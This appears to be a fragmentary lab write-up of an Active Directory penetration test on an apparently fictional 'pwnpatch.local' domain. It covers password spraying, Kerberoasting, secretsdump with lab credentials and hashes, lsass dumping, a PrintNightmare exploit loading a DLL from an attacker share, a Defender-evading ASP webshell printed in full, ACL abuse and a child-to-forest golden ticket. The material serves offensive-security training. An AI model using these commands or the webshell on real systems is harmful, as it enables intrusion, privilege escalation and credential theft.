Game of Pwn&Patch
Game of Pwn&Patch
We get some users with the description and get a first password as samwell.tarly got
his password set up in description.
we could also retrieve the password policy before trying bruteforce
The password policy show us that if we fail 5 times in 5 minutes we lock the accounts
for 5minutes.
With enum4linux
We get the user list like cme
We also get the password policy like cme
enum4linux also get the full domain user list by enumerating members of domain
group
With rpc call
The anonymous listing is done with Remote Procedure Call on winterfell
(192.168.56.11), so we could also do this with rpcclient directly.
Get all domain users:
We create a users.txt file with all the user name previously found on
north.sevenkingdoms.local:
Password Spray
We could try the classic user=password test
Kerberoasting
On an active directory, we will see very often users with an SPN set.
we got a domain user so we could enumerate the share another time but with a
user account
Bloodhound
Boodhound is one of the best tool for an active directory pentest. This tool will
help you to find all the path to pwn the AD and is a must have in your arsenal !
To launch bloodhound you first need to retreive all the datas from the differents
domains.
ahmed’s password is stronger and cannot be break with this method. This
doesn’t mean we can do nothing. What we could do is relay ahmed connection
to a server where smb is not signed ;)
Unsigned SMB
Secretsdump
secretsdump.py 'tech'/'achraf.redteam':'simplythebest'@'192.168.45.11'
ahmed.redteam:1111:aad3b435b51404eeaad3b435b51404ee:631d04565376e65a375fc
ad27b89390c:::
secretsdump.py -hashes ':631d04565376e65a375fcad27b89390c'
'tech'/'ahmed.redteam'@'192.168.45.22'
The sam database contains the local accounts. We will ignore vagrant as it is the
default user to setup the lab.
The important information here is the NT hash of the local administrator user.
We also got the LSA cache of the last connected users (by default windows keep
the last 10 users), this is useful to connect to the server even if the domain
controller is unreachable. But those cached credentials can be cracked offline
with hashcat (very slow).
And to finish we also got the hash of the computer account. (Sometimes you will
get no useful domain accounts or no information at all on a domain joined
computer but if you get this hash you got an account on the domain!
Lsassy
Use lsassy to get the lsass process stored credentials
Domain accounts informations are stored in the LSASS process so make a dump
of this process can give you more domain accounts and privileges.
Lsassy allow you to dump lsass remotely (very more convenient then doing a
procdump, download of the lsass dump file and doing pypykatz or mimikatz
locally), it do all the painful actions like dump and read lsass content for you (it
also dump only the usefull part of the lsass dump optimizing the time of
transfer). (lsassy also exist as a cme module)
Smbclient
PrintNightmare
To exploit printnightmare we will first check if the spooler is active on targets
Check spooler is active
With cme
python3 CVE-2021-1675.py
tech.pwnpatch.local/dev.ops:'iknowimthebest'@pwnandpatchdc2.tech.pwnpatch.loc
al '\\192.168.45.5\ATTACKERSHARE\pnightmare2.dll'
First let’s try to figure out the users with an SPN on an MSSQL server
Nmap
CrackMapExec
Impacket
As sysadmin user (sa), we can see all the information in the database and so the
others users with impersonation privileges.
Mssql can also be use to coerce an NTLM authentication from the mssql server.
The incoming connection will be from the user who run the mssql server.
In our case if we tale any user like hodor for example we can get an NTLM
authentication
start responder responder -I vboxnet0
Connect with hodor (0 privilèges)
From there we can upload a basic webshell in asp : webshell.asp (at the time of
writing, this avoid defender signature)
<%
Function getResult(theParam)
Dim objSh, objResult
Set objSh = CreateObject("WScript.Shell")
Set objResult = objSh.exec(theParam)
getResult = objResult.StdOut.ReadAll
end Function
%>
<HTML>
<BODY>
Enter command:
<FORM action="" method="POST">
<input type="text" name="param" size=45 value="<%= myValue
%>">
<input type="submit" value="Run">
</FORM>
<p>
Result :
<%
myValue = request("param")
thisDir = getResult("cmd /c" & myValue)
Response.Write(thisDir)
%>
</p>
<br>
</BODY>
</HTML>
We can get a reverse shell with the same method used for mssql
As a IIS service user we got SeImpersonatePrivilege privilege ! (same thing on
mssql, the service got this permission by default)
SeImpersonatePrivilege to Authority\system
To escalate privilege from our iis (or mssql) user with SeImpersonatePrivilege to
Authority\system we can use one of the “potatoes” technic.
So let’s use SweetPotato, a compilation of all the technics, “the potatoe to rule
them all”.
Ok so we clone the project and compile it with visualStudio
PsExec:
upload executable
create a service to run the executable
Communicate with the service with namedPipe.
Protocol : SMB
part 11 - ACL
To start we will focus on the sevenkingdoms killchain of ACL by starting with ji-
lany.blueteam (password: pwnpatchftw000)
First let’s do a target Kerberoasting, the principe is simple. Add an SPN to the
user, ask for a tgs, remove the SPN on the user.
And now we can crack the TGS just like a classic kerberoasting.
Shutdown have done a tool which do all the work for you :
https://github.com/ShutdownRepo/targetedKerberoast
Ok now we can :
o change tyron password
o do a target kerberoasting
o do a shadow credentials
Let’s just use shadowcredentials :
We now got youssef so we can add us into the threat intel group
Now as youssef we are in the threat intel, so we can add a member to supports’s
group.
So we just add youssef just like we did before
Now with the writeOwner privilege we can change the owner of sales to own the
group
Just like before we will use the impacket
Now tyron is in sales so we can take the control of saif with the genericAll on saif
let’s change saif password
Let ‘s verifie
wmiexec.py -k -no-pass
pwnpatch.local/[email protected]
GPO abuse
part 12 – Trusts
Enumerate Trust
Let’s enumerate the trusts:
We can see
raiseChild.py tech.pwnpatch.local/ahmed.redteam:'FightP3ace!'
This create a golden ticket for the forest enterprise admin.
Log into the forest and get the target info (default administrator RID: 500)
All the job is done with one command, if you are lazy you don’t even need to
understand x)